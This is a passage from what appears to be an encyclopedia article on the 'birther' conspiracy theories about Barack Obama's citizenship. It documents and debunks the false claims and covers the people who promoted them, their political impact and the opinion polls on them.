White House staffers gave reporters a copy of the certificate, and posted a PDF image of the certificate on the White House website.[65][66] The certificate reconfirmed the information on the official short-form certificate released in 2008, and provided additional details such as the name of the hospital at which Obama was born.[67][68] Rejection by conspiracy theorists A claim put forth by the Drudge Report[69] that the newly released document was a forgery made with image editing software quickly spread on the Internet.[70] Nathan Goulding, chief technology officer of the National Review magazine, dismissed the matter of "layered components" found in the White House PDF by suggesting "that whoever scanned the birth certificate in Hawaii forgot to turn off the OCR setting on the scanner." Nathan added "I've confirmed that scanning an image, converting it to a PDF, optimizing that PDF, and then opening it up in Illustrator, does in fact create layers similar to what is seen in the birth certificate PDF. You can try it yourself at home."[71] "Showing papers" Goldie Taylor, a commentator for the African American news site The Grio, characterized the demand that Obama provide his birth certificate as an equivalent of making him "show his papers", as blacks were once required to do under Jim Crow laws.[72] Sociologist Matthew W. Hughey has cited many of the claims as evidence of racial "othering" of Obama against the conflation of the White Anglo-Saxon Protestant (WASP) subject as the ideal and authentic American citizen.[73] False claims Born in Kenya Some opponents of Obama's presidential eligibility claim that he was born in Kenya and was therefore not born a United States citizen. Whether Obama having been born outside the U.S. would have invalidated his U.S. citizenship at birth is debated. Political commentator Andrew Malcolm, of the Los Angeles Times, wrote that Obama would still be eligible for the presidency, regardless of where he was born, because his mother was an American citizen, saying that Obama's mother "could have been on Mars when wee Barry emerged and he'd still be American."[74] A contrary view is promoted by UCLA Law Professor Eugene Volokh, who has said that in the hypothetical scenario that Obama was born outside the U.S., he would not be a natural-born citizen, since the then-applicable law would have required Obama's mother to have been in the U.S. at least "five years after the age of 14", but Ann Dunham was three months shy of her 19th birthday when Obama was born.[75] Obama's paternal step-grandmother's version of events An incorrect but popularly reported claim is that his father's stepmother, Sarah Obama, told Anabaptist Bishop Ron McRae in a recorded transatlantic telephone conversation that she was present when Obama was born in Kenya.[76] The McClatchy newspapers gave an explanation of how the story about Obama's step-grandmother began. The tape is cut off in the middle of the conversation, before the passage in which she clarifies her meaning: "'Obama was not born in Mombasa. He was born in America,' the translator says after talking to the woman. ... Another response later says, 'Obama in Hawaii. Hawaii. She says he was born in Hawaii.'"[77] Sarah Obama shed more light on the controversy in a 2007 interview with the Chicago Tribune. In the interview, Obama's paternal step-grandmother stated that six months after Barack Obama Sr. and Ann Dunham were married, she received a letter at her home in Kenya announcing the birth of Barack Obama II, who was born August 4, 1961.[78] In a June 2012 interview at her Kenyan home, Sarah Obama was asked: "Some people want to believe that the president was born in Kenya. Have these people ever bothered you or asked for his birth certificate?" Her response was: "But Barack Obama wasn't born in Kenya."[79] Fake Kenyan birth certificate On August 2, 2009, Orly Taitz released and attached to court documents a purported Kenyan birth certificate which she said, if authenticated and shown to be genuine, would significantly narrow and shorten the discovery and pre-trial litigation period in the Keyes v. Bowen lawsuit, in which the plaintiffs asked for a judicial order that Obama provide documentation that he is a natural-born citizen of the United States. Legal papers submitted describe the document as an "unauthenticated color photocopy of certified copy of registration of birth".[80][81] The document was almost immediately revealed to be a forgery. It purports to have been issued by the "Republic of Kenya", when in fact, such a state did not yet exist at the time of Obama's birth as indicated on the document (Kenya was a British Colony until 1963).[82] Subsequently, evidence was unearthed that the alleged Kenyan birth certificate was a modified version of a 1959 Australian birth certificate found on an online genealogy website.[83][84] The Washington Independent website cited an anonymous blogger[85] as having taken responsibility for the forgery and posting four photos substantiating his claim.[86] Not born in Hawaii Despite the existence of Obama's Hawaii certification of live birth, Terry Lakin's attorney, among others, have claimed that anyone, including foreign-born children, could acquire a Hawaiian certification of live birth, and so Obama's possession of such a certificate does not prove that he was born in Hawaii.[87] However, the suggestion that this could have applied to Obama was rejected by Janice Okubo, director of communications for the Hawaii Department of Health: "If you were born in Bali, for example, you could get a certificate from the state of Hawaii saying you were born in Bali. You could not get a certificate saying you were born in Honolulu. The state has to verify a fact like that for it to appear on the certificate".[88] Another fact that refutes this specific claim is that the law allowing foreign-born children to obtain Hawaiian birth certificates did not exist until 20 years after Obama was born, while Obama's published birth certificate says his birth information was recorded four days after his birth in 1961, and explicitly states that he was born in Honolulu.[89] Additionally, some people claim that the information in the birth certificate only has to be based on the testimony of one parent.[89] On July 27, 2009, Fukino issued a statement explicitly stating she has "seen the original vital records maintained on file by the Hawaii State Department of Health verifying Barack Hussein Obama was born in Hawaii and is a natural-born American citizen."[90][91] Hawaiian Department of Health spokeswoman Janice Okubo elaborated on state policy for the release of vital records: "If someone from Obama's campaign gave us permission in person and presented some kind of verification that he or she was Obama's designee, we could release the vital record."[92] A hospital spokesperson at Kapi'olani Medical Center for Women & Children has said that their standard procedure is to neither confirm nor deny Obama was born there, "even though all the information out there says he was born at Kapiolani Hospital", citing federal privacy laws.[16] The Honolulu Advertiser on August 13, 1961. The Barack Obama birth announcement, published inon August 13, 1961. In 1961, birth notices for Barack Obama were published in both the Honolulu Advertiser and the Honolulu Star-Bulletin on August 13 and 14, 1961, respectively, listing the home address of Obama's parents as 6085 Kalanianaole Highway in Honolulu.[16][21] On November 9, 2008, in response to the persistent rumors, the Advertiser posted on its web site a screenshot of the announcement taken from its microfilmed archives. Such notices were sent to newspapers routinely by the Hawaii Department of Health.[16] In an editorial published on July 29, 2009, the Star-Bulletin pointed out that both newspapers' vital-statistics columns are available on microfilm in the main state library. "Were the state Department of Health and Obama's parents really in cahoots to give false information to the newspapers [...]?" the newspaper asked.[93] Lost U.S. citizenship It has been suggested that Obama obtained Indonesian citizenship (and thus may have lost U.S. citizenship) when he lived there as a child.[94] As an attempt to prove that Obama was no longer a U.S. citizen (or held dual citizenship), some claim his 1981 trip to Pakistan took place at a time when there was supposedly a ban on United States passport holders entering that country, which would in turn have required him to use a non-U.S. passport. There was in fact no such ban. A New York Times article and U.S. State Department travel advisories from 1981 make it clear that travel to Pakistan by U.S. passport holders was legal at that time.[95][96][97] An April Fools' Day hoax email circulated on the Internet starting in 2009. It falsely claimed that Obama applied to Occidental College under the name "Barry Soetoro" claiming to be "a foreign student from Indonesia" in order to obtain a Fulbright scholarship (which does not exist for undergraduate students from Indonesia).[98] Disputes over "natural-born citizen" requirements Another theory of Obama's ineligibility is that, regardless of his place of birth, he does not meet the constitutional definition of a natural-born citizen. The Fourteenth Amendment to the United States Constitution states: "All persons born or naturalized in the United States, and subject to the jurisdiction thereof, are citizens of the United States...." According to law professor Gabriel J. Chin, "there is agreement that 'natural born citizens' include those made citizens by birth under the 14th Amendment."[99][100] Despite this agreement, two similar but distinct theories nonetheless contend Obama, although born in Hawaii, does not qualify as a "natural-born citizen".[101][102] Parental citizenship Some campaigners, such as the Tennessee-based Liberty Legal Foundation, contend that in order for a person to be a natural-born citizen within the meaning of Article II, Section 1, it is necessary that both parents be U.S. citizens at the time of that person's birth. Those who subscribe to this theory argue that since Obama's father was not a U.S. citizen, Obama could not have been a natural-born citizen, and is therefore ineligible to be President of the United States. The Liberty Legal Foundation has cited a passage in the decision on an 1875 voting rights case which came before the U.S. Supreme Court—Minor v. Happersett—in which the court stated there was no doubt that "all children born in a country of parents who were its citizens" were natural-born citizens.[103][104] This legal theory on Obama's eligibility was unsuccessfully litigated several times, most notably in Ankeny v. Governor of the State of Indiana (2008). Dual citizenship Others, including New Jersey attorney Leo Donofrio, have falsely claimed that a person cannot be a natural-born citizen if he is a dual citizen at birth. Those who subscribe to this theory argue that because Obama's father was a Citizen of the United Kingdom and Colonies at the time Obama was born, Obama was born a dual citizen and therefore was not a natural-born citizen.[102] In August 2008, the Rocky Mountain News ran an online article asserting that Obama is both a U.S. and a Kenyan citizen.[105] This turned out to be incorrect according to FactCheck.org, which noted that Obama was indeed born a citizen of the United Kingdom and Colonies (CUKC) under British law, by virtue of his descent from a Kenyan father at a time when Kenya was a British colony, but lost CUKC citizenship and became a Kenyan citizen when that country gained independence in 1963. However, Kenya's 1963 constitution prohibited dual citizenship in adulthood. Obama therefore automatically lost his Kenyan citizenship on his 23rd birthday in 1984, by failing to formally renounce any non-Kenyan citizenship and swear an oath of allegiance to Kenya.[106] Although the paper apologized for the error and published a correction,[107] the article continued to provide fuel for online rumors about Obama's eligibility for the presidency. The current Kenyan constitution effective since 2010 permits dual citizenship, but requires those who lost Kenyan citizenship prior to 2010 to complete a registration process in order to regain citizenship.[108] Campaigners and proponents A protestor questioning the legitimacy of Obama's birth certificate Notable advocates of the view that Obama may not be eligible for the Presidency include Philip J. Berg, a Pennsylvania attorney and 9/11 conspiracy theorist. Berg describes himself as a "moderate to liberal" Democrat who backed Hillary Clinton for president.[109] Another notable advocate is Alan Keyes, who was defeated by Obama in the 2004 Illinois U.S. Senate election, served as a diplomat in the Reagan administration, and is currently a media personality and self-described "conservative political activist".[110] Orly Taitz, a California dentist and attorney who emigrated from the Soviet Union to Israel, then to the United States, and holds dual U.S. and Israeli citizenship, has been called the "queen bee of the birthers", because she is often seen as the face of the movement.[111] Other notable advocates include Andy Martin, a perennial candidate who was "widely credited with starting the cyberwhisper campaign" that Obama is a secret Muslim,[112] and Robert L. Schulz, a tax protester and activist who placed full-page advertisements in the Chicago Tribune in December 2008 arguing that Obama had been born in Kenya or had subsequently renounced U.S. citizenship.[113] Larry Klayman, founder of both Judicial Watch and Freedom Watch, expressed doubts about Obama's natural-born citizenship.[114] The Constitution Party, a paleoconservative third party, also campaigned for release of Obama's original long-form certificate.[115] In December 2008, Alex Koppelman, a senior writer for Salon, characterized nearly all of the prominent people promoting the story Obama was not eligible to be president—including Jerome Corsi, Philip Berg, Andy Martin, and Robert Schultz—as having a "history of conspiracist thought".[54] The website AmericaMustKnow.com encouraged visitors to lobby members of the Electoral College to vote against Obama's confirmation as President and become faithless electors.[38] Electors around the country received numerous letters and e-mails contending that Obama's birth certificate is a forgery and that he was born in Kenya, and requesting that Obama be denied the presidency.[116] Some of the online campaigners coordinated their efforts with weekly conference calls, in which they discussed the latest news and how to advance the story.[117] The campaign was supported by the conservative WorldNetDaily (WND) website, which sponsored a letter-writing campaign to the Supreme Court.[38] WND's publisher Joseph Farah has written a number of editorials arguing that Obama's eligibility needs to be confirmed. WND has mounted an advertising campaign, using electronic billboards to ask "Where's The Birth Certificate?"[118][119] The talk radio hosts Michael Savage, G. Gordon Liddy, Brian Sussman, Lars Larson, Bob Grant, Jim Quinn, Rose Tennent, Barbara Simpson, Mark Davis, and Fred Grandy have all promoted the ineligibility claims on their radio shows. Rush Limbaugh, Sean Hannity and Lou Dobbs have also broached the issue several times on their shows.[3][120] Savage, during an episode of his nationally syndicated radio show Savage Nation, said that "We're getting ready for the Communist takeover of America with a noncitizen at the helm."[117] Some celebrities have promoted or touched upon the ineligibility claims, as well. In August 2009, actor Chuck Norris, while not embracing the eligibility claims, wrote an open letter to Obama urging that he officially release his "original birth certificate", saying, "Refusing to post your original birth certificate is an unwise political and leadership decision that is enabling the 'birther' controversy."[121] In December 2010, Baltimore Orioles baseball player Luke Scott asserted in a Yahoo! interview that Obama "was not born here" and that his birth certificate was never released.[122] The Huffington Post reported that, in April 2011 during his stage show, Charlie Sheen said, "For starters, I was fucking born here, how about that? And I got proof! Nothing photoshopped about my birth certificate."[123] According to Mark Potok of the Southern Poverty Law Center, "the birther movement has gained a large following on the radical right ... it has been adopted by the most noxious elements out there". Some of those "noxious elements" include a number of avowed white-supremacist and neo-Nazi groups.[124][125] James Wenneker von Brunn, an avowed white supremacist charged as the gunman in the June 10, 2009, United States Holocaust Memorial Museum shooting, had previously posted messages to the Internet accusing Obama and the media of hiding documents about his life.[126][127] In March 2017, after Obama was no longer the president, Malik Obama, his paternal half brother, posted on Twitter an image of a fake Kenyan birth certificate, which had been "debunked" in 2009 when it was first presented as part of one of the failed lawsuits that challenged Obama's ineligibility.[128] Donald Trump In 2010, at the urging of Donald Trump's lawyer Michael Cohen, the National Enquirer began promoting a potential Trump presidential campaign, and with Cohen's involvement, the tabloid began questioning Obama's birthplace and citizenship.[129] In March 2011, during an interview on Good Morning America, Donald Trump said he was seriously considering running for president, that he was a "little" skeptical of Obama's citizenship, and that someone who shares this view should not be so quickly dismissed as an "idiot"[130] (as Trump considers the term "birther" to be "derogatory"[131]). Trump added, "Growing up no one knew him",[130] a claim ranked Pants-on-Fire by Politifact.[132] Later, Trump appeared on The View repeating several times that "I want him [Obama] to show his birth certificate." He speculated that "there [was] something on that birth certificate that [Obama] doesn't like", a comment which host Whoopi Goldberg described as "the biggest pile of dog mess I've heard in ages."[133] On the March 30, 2011, edition of CNN Newsroom, anchor Suzanne Malveaux commented on Trump's statements, pointing out that she had made a documentary for which she had gone to Hawaii and spoken with people who knew Obama as a child.[134][135] In an NBC TV interview broadcast on April 7, 2011, Trump said he would not let go of the issue, because he was not satisfied that Obama had proved his citizenship.[136] After Trump began making his views public, he was contacted by Joseph Farah of WorldNetDaily, who was reportedly on the phone with Trump every day for a week, providing Trump with a "birther primer", answers to questions, and advice.[137] After Obama released his long-form birth certificate on April 27, 2011, Trump said "I am really honored and I am really proud, that I was able to do something that nobody else could do."[138] On October 24, 2012, Trump offered to donate five million dollars to the charity of Obama's choice in return for the publication of his college and passport applications before October 31, 2012.[139] On September 16, 2016, as the Republican Party presidential nominee, Trump conceded that "President Barack Obama was born in the United States. Period." Trump gave himself credit for putting the controversy to rest and also repeated a false claim that Hillary Clinton, his opponent in the 2016 U.S. presidential election and one of Obama's opponents in the 2008 Democratic presidential primaries, had started the controversy concerning Obama's place of birth. While those who did so were Clinton supporters, there is no evidence of Clinton or her campaign questioning Obama's birthplace.[140] Joe Arpaio Volunteer investigators working under the direction of Maricopa County, Arizona, Sheriff Joe Arpaio have asserted that Obama's birth certificate is a computer-generated forgery. Rejecting this claim, an assistant to Hawaii's attorney general stated in July 2012 that "President Obama was born in Honolulu, and his birth certificate is valid.... Regarding the latest allegations from a sheriff in Arizona, they are untrue, misinformed and misconstrue Hawaii law."[141] Arizona state officials, including Governor Jan Brewer and Secretary of State Ken Bennett, have also dismissed Arpaio's objections and accepted the validity of Obama's birth certificate.[142][143] Alex Pareene, a staff writer for Salon, wrote regarding a May 2012 trip to Hawaii by Arpaio's people that "I think we have long since passed the point at which I'd find this story believable in a fictional setting".[144] In December 2016, Arpaio presented "9 points of forgery" that he said proved that the digital image of Obama's long form birth certificate was not authentic. He said he would submit his evidence to federal authorities.[145][146] Matthew Hill TNGA Rep. Matthew Hill speaking during 2008 Republican primary debate, Jonesborough, Tennessee Rep. Matthew Hill, one of a handful of Tennessee General Assembly members widely reported at the time to be birthers, demanded in 2009 that newly-elected president Obama should be compelled to present Hill and other Tennessee state legislators with a certified copy of his Hawaiian birth certificate. Hill interviewed birther conspiracy advocate Orly Taitz at the National Religious Broadcasters Convention in Nashville for a February 10, 2009, segment podcasted online by the IRN/USA Radio Network. During The Matthew Hill Show he stated: We've said on this program many times ... we've had people call in and say why are you picking on him? And I've said, "Look it's really simple. If he is a U.S. citizen you produce the papers. If he's not a U.S. citizen, what does he do? He hides them. He's hiding them. We need the truth. We need the documents unsealed. We need to know what's going on.[147][148] Roy Moore U.S. Senate candidate and former Chief Justice of the Alabama Supreme Court Roy Moore first questioned Obama's citizenship in 2008, and said in 2016 that he didn't believe Obama had natural-born citizenship.[149] Richard Shelby In February 2009, the Cullman Times, an Alabama newspaper, reported that at a town hall meeting there, U.S. Senator from Alabama Richard Shelby was asked if there was any truth to the rumors that Obama was not a natural-born citizen. According to the Times report, Shelby said, "Well his father was Kenyan and they said he was born in Hawaii, but I haven't seen any birth certificate. You have to be born in America to be president."[150] A Shelby spokesperson denied the story, but the newspaper stood by it.[151] Roy Blunt On July 28, 2009, Mike Stark approached Missouri Congressman Roy Blunt asking him about the conspiracy theory that Barack Obama is not a natural-born citizen. Blunt responded: "What I don't know is why the President can't produce a birth certificate. I don't know anybody else that can't produce one. And I think that's a legitimate question. No health records, no birth certificate."[152] Blunt's spokesperson later claimed that the quote was taken out of context.[153] Jean Schmidt After giving a speech at the Voice of America Freedom Rally in West Chester, Ohio on September 5, 2009, Republican congresswoman Jean Schmidt replied to a woman who commented that Obama was ineligible for the Presidency, "I agree with you. But the courts don't."[154] Schmidt's office subsequently responded that a video clip of this comment was "taken out of context", and reiterated that her stated position is that Obama is a citizen.[155] She had earlier voted to certify the Electoral College vote affirming his presidency, and had said she believes Obama is a U.S. citizen.[156] Nathan Deal In November 2009, then-Representative Nathan Deal replied to a question about whether he believed that Obama "is a native-born American citizen who is eligible to serve as president" with a statement that "I am joining several of my colleagues in the House in writing a letter to the President asking that he release a copy of his birth certificate so we can have an answer to this question."[157] Contrasting the differing fates of Deal, who won the 2010 gubernatorial election in Georgia, and former Democratic Representative Cynthia McKinney, who lost her primary after endorsing 9/11 conspiracy theories, David Weigel of Slate noted: "Dipping a toe into the birtherism fever swamp didn't stop Deal from winning a statewide primary."[158] Sarah Palin During a December 3, 2009 interview on Rusty Humphries' radio talk show, Humphries asked Sarah Palin if she would make Barack Obama's birth certificate a campaign issue in 2012, should she decide to run. Palin responded, "I think the public rightfully is still making it an issue. I don't have a problem with that. I don't know if I would have to bother to make it an issue, because I think that members of the electorate still want answers." Humphries followed up, asking whether she thinks Obama's birth certificate is a fair question to be looking at. Palin answered, "I think it's a fair question, just like I think past association and past voting records – all of that is fair game. The McCain–Palin campaign didn't do a good enough job in that area."[159] After news organizations and blogs picked up the quotation,[160] Palin issued a statement on her Facebook page in which she clarified that she meant to say that voters have the right to ask questions, and she herself has never asked Obama to produce a birth certificate. She then went on to compare questioning of Obama's birth certificate to questions that were raised during the 2008 presidential elections about her maternity to her son, Trig.[161] This analogy was criticized by Mark Milian of the Los Angeles Times, who commented that "It's not like Barack Obama hosted a radio show and called her a baby faker."[162] In addition, Andrew Sullivan, an established skeptic of Palin's relationship with Trig, wrote in response to her comments: "Palin has never produced Trig's birth certificate or a single piece of objective medical evidence that proves he is indeed her biological son."[163] Tracey Mann Tracey Mann, a candidate running for Congress from Kansas in 2010, stated at a candidate forum that Obama "should show his birth certificate to really resolve this thing one way or another". In a radio interview, he answered a question as "I think the president of the United States needs to come forth with his papers and show everyone that he's an American citizen and put this issue to bed once and for all." In response, on July 21, 2010, The Hutchinson News, a local paper in Hutchinson, Kansas, withdrew their endorsement of Mann, saying that Mann "questions the citizenship of President Barack Obama despite evidence that is irrefutable to most objective, rational people – including a birth certificate released by the Hawaii secretary of state and birth announcements printed in Honolulu's two major newspapers".[164] Mann responded that he was "disappointed and mystified by the Hutchinson News' decision to withdraw their endorsement over a misunderstanding of [his] position", as he is not "interested in pursuing this issue in Congress", and he has "never had any interest in spending any time on the matter".[165] Mann was subsequently defeated in the Republican primary by state senator Tim Huelskamp.[166] David Vitter At a townhall meeting in Metairie, Louisiana on July 11, 2010, Senator David Vitter responded to a question about Barack Obama's birth certificate saying "I personally don't have standing to bring litigation in court, but I support conservative legal organizations and others who would bring that to court. I think that is the valid and most possibly effective grounds to do it." His campaign did not provide any additional comments on the matter.[167][168] Newt Gingrich On September 11, 2010, former Speaker of the House Newt Gingrich stated that Obama could only be understood by people who "understand Kenyan, anti-colonial behavior".[169] While Gingrich did not define what constitutes "Kenyan, anti-colonial behavior", White House Press Secretary Robert Gibbs accused Gingrich of "trying to appeal to the fringe of people who don't believe the president was born in this country". Gibbs went on to say, "You would normally expect better of somebody who held the position of Speaker of the House, but look, it is political season, and most people will say anything, and Newt Gingrich does that on a, genuinely, on a regular basis."[170] Andy Martin In December 2010, Andy Martin (plaintiff in Martin v. Lingle and self-described "King of the Birthers") announced his candidacy to seek the 2012 Republican nomination for the President of the United States.[171] In February 2011, Martin's planned appearance at a Republican meeting in Deering, New Hampshire, was cancelled after his anti-Semitic past was discovered.[172] Mike Huckabee On February 28, 2011, on Steve Malzberg's radio program Mike Huckabee, a 2008 candidate for the Republican presidential nomination, falsely claimed that Obama had been raised in Kenya[173] and that "[Obama] probably grew up hearing that the British were a bunch of imperialists who persecuted his grandfather."[173] Huckabee, speaking on The O'Reilly Factor, said that he misspoke and intended to say Indonesia, characterizing his own comment as a "verbal gaffe".[174] Michele Bachmann In March 2011, Representative Michele Bachmann told conservative radio host Jeff Katz on his program, "I'll tell you one thing, if I was ever to run for president of the United States, I think the first thing I would do in the first debate is offer my birth certificate, so we can get that off the table." Previously on Good Morning America, when asked about President Obama's origins, she replied, "Well, that isn't for me to state. That's for the president to state."[175] Mike Coffman On May 12, 2012, Mike Coffman, a congressman running for re-election in the Sixth Congressional District of Colorado, addressed a Republican fund-raising event in Elbert County. Coffman stated that he did not know where President Barack Obama was born. Coffman went on to say of Obama that "in his heart, he's not an American. He's just not an American." Coffman issued an apology on May 16, saying that he had misspoken and that he had confidence in President Obama's citizenship and legitimacy as president.[176] In a May 23 Denver Post op-ed piece, Coffman described his comment as "inappropriate and boneheaded."[177] Arizona electors In December 2012, three out of the eleven electors from Arizona who cast their votes for Mitt Romney, raised doubts about Barack Obama's birthplace. One of those electors was the chair of the Republican Party of Arizona, Tom Morrissey. Morrissey later insisted that he is not a birther, but stated that "In [his] opinion, what [he has] seen from the president, produced as a birth certificate, does not convince [him] that it is a real document."[178] Political impact "Here is what the Republican party needs to do: we have to say that's crazy. So I'm here to tell you that those who think the president was born somewhere other than Hawaii you're crazy ... let's knock this crap off and talk about the real differences we have. – Republican U.S. Senator Lindsey Graham, October 1, 2009[179] Although claims about Obama's citizenship were evaluated in 2008 by the McCain campaign and ultimately rejected,[180] they became a significant issue among sections of the political right. By mid-2009, the natural born citizen issue was one of the hottest and most lucrative sources of fundraising for organizations on the right that raise funds through direct mail and telemarketing. Online petition sites such as that of Alan Keyes, who has been collecting signatures on the birth certificate issue, are a major source for generating mailing lists of movement conservatives.[181] The web site WorldNetDaily published more than 200 articles on the subject by July 2009[182] and has sold billboards, bumper stickers and postcards asking "Where's the birth certificate?" and similar slogans in an effort which has "already raised tens of thousands of dollars."[183] Moderate conservatives have found themselves "bombarded with birther stuff".[181] Protesters at the Tea Party protests in 2009 carried signs about the birth certificate issue,[184] some of which were recommended by protest organizers.[181] In an incident that attracted widespread media coverage, moderate Republican Representative Michael Castle was booed and heckled during a July 2009 town hall meeting in Georgetown, Delaware, when he told a woman protesting about Obama's birth certificate: "if you're referring to the president there, he is a citizen of the United States."[185] NBC Nightly News reported that other members of Congress often hear the issue too; an anonymous congressman told the program that he was reluctant to advertise his own town hall meetings for fear of this issue drowning out everything else.[186] A number of Republican legislators have proposed legislation and constitutional amendments at the state and federal levels to address issues raised by the birth certificate campaigners. Some Republicans are said to "want the issue to go away", seeing it as a distraction. Democratic commentators have criticized the reluctance of some Republicans to distance themselves from the proponents of the conspiracy theories, suggesting that "Republican officials are reluctant to denounce the birthers for fear of alienating an energetic part of their party's base".[3] NBC News' "First Read" team commented: "the real story in all of this is that Republican Party has a HUGE problem with its base right now."[187] Republican National Committee Chairman Michael Steele released a statement through his spokesperson saying, "Chairman Steele believes that this is an unnecessary distraction and believes that the president is a U.S. citizen".[188] Conservative Joel Pollak, writing for The American Thinker, has stated that the reason the "Birther theory" has caught on particularly among conservatives, is the weakness of the Republican opposition, stating: In the absence of strong Republican leadership, some find the Birther theory a compelling, if desperate, solution. Yet it is ultimately a self-destructive one – not just because it is almost certainly false, but because it contradicts the essential spirit of the conservative movement.[189] Political analyst Marc Ambinder of The Atlantic and CBS News suggests this phenomenon goes to the heart of the dilemma now facing the Republican Party, positing that Republican presidential candidates need to figure out how to diffuse [sic] angry birthers who are bound to show up and demand their attention. If they give credence to the birthers, they're not only advancing ignorance but also betraying the narrowness of their base. If they dismiss this growing movement, they might drive birthers to find more extreme candidates, which will fragment a Republican political coalition.[190] Political analyst Andrew Sullivan, writing in The Sunday Times, stated The demographics tell the basic story: a black man is president and a large majority of white southerners cannot accept that, even in 2009. They grasp conspiracy theories to wish Obama – and the America he represents – away. Since white southerners comprise an increasing proportion of the 22% of Americans who still describe themselves as Republican, the GOP can neither dismiss the crankery nor move past it. The fringe defines what's left of the Republican centre.[191] Opinion surveys In October 2008, the Orange County Register's OC Political Pulse poll found that a third of responding Republicans believed that Obama had been born outside the United States.[192] As a result of the widespread publicity given to the citizenship controversy, 60% of respondents in an Ohio State University survey carried out in November 2008 had heard of the issue. However, only 10% believed the claims that Obama was not a citizen.[193] An opinion poll carried out for Daily Kos by Research 2000 in July 2009 found that 77% of Americans believed that Obama was born in the U.S., while 11% didn't, and 12% were unsure. However, Republicans and Southerners were far more likely than other political or demographic groups to doubt that Obama was born in the United States. 58% of Republicans either believed that Obama was not born in the U.S. (28%) or were not sure (30%), with 42% believing that he was. An overwhelming majority of Democrats (93%) and independents (83%) believed that he was born in the U.S. Support for the belief that Obama was born outside the U.S. was strongest in the South, where only 47% of those polled believed he was born in the U.S., compared with an average of 90% of residents of the Northeast, Midwest and West.[194] A marked racial disparity in the South was also apparent. Politico's congressional reporter, Glenn Thrush, commented that the Research 2000 poll "explains why Republicans, including Roy Blunt, are playing footsie with the Birther fringe."[194] Writing on National Journal's Pollster.com blog, Brendan Nyhan observed that the poll "suggests that the encouragement of the birth certificate myth by conservative pundits and Republican politicians has begun to activate the GOP base on this issue."[195] A Public Policy Polling survey carried out in August 2009 found that 32% of Republicans in Virginia thought that Obama was born in the U.S., 41% thought he was foreign-born and the remaining 27% were unsure.[196] In Utah, an August 2009 poll carried out for the Deseret News and KSL-TV found that 67% of Utahns accepted the evidence that Obama was born in the U.S. The poll found that those who do not believe that Obama was born in the United States, or do not know, are predominantly middle-aged, lower-income Republican-leaning individuals without a college education.[197] A Pew Research Center poll found that 80% of Americans had heard about the Obama citizenship claims by August 2009. The poll found a significant partisan divide in views of the news coverage, with 58% of Democrats saying that the allegations had received too much attention from the media. Republicans were more inclined to say that the allegations had received too little attention, with 39% expressing this view against only 26% saying that the controversy had received too much attention.[198] In a Harris Poll online survey of 2,320 adults conducted in March 2010, 25% of the respondents said they believed that Obama was "not born in the United States and so is not eligible to be president."[7] In a July 2010 CNN poll of adult Americans, 16% said they had doubts that Obama was born in the United States, and a further 11% were certain that he was not.[8] The percentage of doubters plummeted after President Obama released the long form certificate in April 2011.[10][11][12] A Gallup telephone poll of 1018 adults conducted in May 2011 found that 5% of respondents believed that Obama was "definitely born in another country" and 8% believed he was "probably born in another country", versus 47% believing he was "definitely" and 18% "probably" born in the US.[9] Broken down by political affiliation, the same poll found that 23% of self-identified Republicans, 14% of independents, and 5% of Democrats thought Obama was definitely or probably born in another country.[9] In July 2016, four months before Donald Trump was elected to the presidency, 41 percent of Republicans disagreed that Obama was born in the United States and 31 percent neither agreed nor disagreed, per an NBC poll.[199] Dilemma for Republicans Because a portion of Republican voters and their Tea Party supporters believe Obama is not eligible to hold public office (see Opinion surveys section), Republicans sometimes found themselves caught in a dilemma between losing support or damaging their credibility.[200][201] They had "to walk the fine line of humoring conspiracy-minded supporters without explicitly questioning Obama's legitimacy..."[202] Other Republicans, including former Minnesota governor Tim Pawlenty and former Pennsylvania senator Rick Santorum, however, have plainly rejected these claims.[203] An example of these situations is Michael Castle, then Representative for Delaware, who ran in 2010 for the Senate seat vacated by Vice President Joe Biden. At a town hall meeting, Castle was confronted by constituents who jeered him for insisting that Obama is a citizen of the United States.[204] Castle, one of the leading Republican moderates in the House, was later defeated by Tea Party-backed Christine O'Donnell in the Republican primary,[205][206] who herself later lost the general election to Democratic nominee Chris Coons. Proponents of claims doubting Obama's eligibility have been dubbed "birthers" by their critics, who have drawn a parallel with 9/11 conspiracy theorists or "truthers". Leslie Savan of The Nation has compared the so-called "birthers" to other groups as well, including those who deny the moon landing, the Holocaust or global warming; "Teabaggers who refuse to believe they must pay taxes" and creationists who believe the earth is 6,000 years old.[208] MSNBC political commentator Rachel Maddow has defined a "birther" as: A specific new breed of American conspiracy theorists who believe that the real problem with Barack Obama being president is that he can't possibly have been born in the United States. He's not eligible to be president. The birth certificate is a fake. He's a foreigner. Once this has been exposed, I guess, he will be run out of the White House...[209] A number of conservative commentators have criticized its proponents and their effect on the wider conservative movement. Talk show host Michael Medved has also been critical, calling them "the worst enemy of the conservative movement" for making other conservatives "look sick, troubled and not suitable for civilized company."[210] Conservative columnist Ann Coulter has referred to them as "just a few cranks."[211] During the 2008 presidential campaign, conservative pundit Steve Sailer similarly dismissed birthers' claims, considering the theory that Obama was born in Kenya to be especially implausible: Do you know how many different flights she [Ann Dunham] would have had to take to get to Kenya in 1961? Honolulu to California, California to the East Coast, the East Coast (refueling at Gander Bay) to London, London to maybe Cairo, Cairo to Nairobi. How much would that have cost? And then you would be stuck having your baby in Africa rather than in a modern American hospital in Honolulu. Or you could go the other way around the world — it's about the same distance either way.[212] An editorial in the Honolulu Star-Bulletin dismissed the claims about Obama's eligibility as proposing "a vast conspiracy involving Obama's parents, state officials, the news media, the Secret Service, think-tanks and a host of yet-to-be-uncovered others who have connived since Obama's birth to build a false record so that he could eventually seek the presidency 47 years later."[213] The St. Petersburg Times' fact-checking website, PolitiFact.com, concluded its series of articles on the birth certificate issue by saying: There is not one shred of evidence to disprove PolitiFact's conclusion that the candidate's name is Barack Hussein Obama, or to support allegations that the birth certificate he released isn't authentic. And that's true no matter how many people cling to some hint of doubt and use the Internet to fuel their innate sense of distrust.[214] In November 2008, commentator and social critic Camille Paglia criticized the "blathering, fanatical overkill" of the topic, but also questioned Obama's response: "Obama could have ended the entire matter months ago by publicly requesting Hawaii to issue a fresh, long-form, stamped certificate and inviting a few high-profile reporters in to examine the document and photograph it", she said.[215] A parenthetical in the same article noted that "(The campaign did make the "short-form" certificate available to Factcheck.org)".[215] Factcheck.org noted, "The Hawaii Department of Health's birth record request form does not give the option to request a photocopy of your long-form birth certificate, but their short form has enough information to be acceptable to the State Department."[21][216] Writing in December 2008, Alex Koppelman discussed the validity of the common argument – that Obama should release a copy of his full, original certificate and the rumors and doubts would disappear.[54] Conspiracy theory experts told Koppelman that when committed conspiracists are presented with more data debunking their theory, they refuse to accept the new evidence. 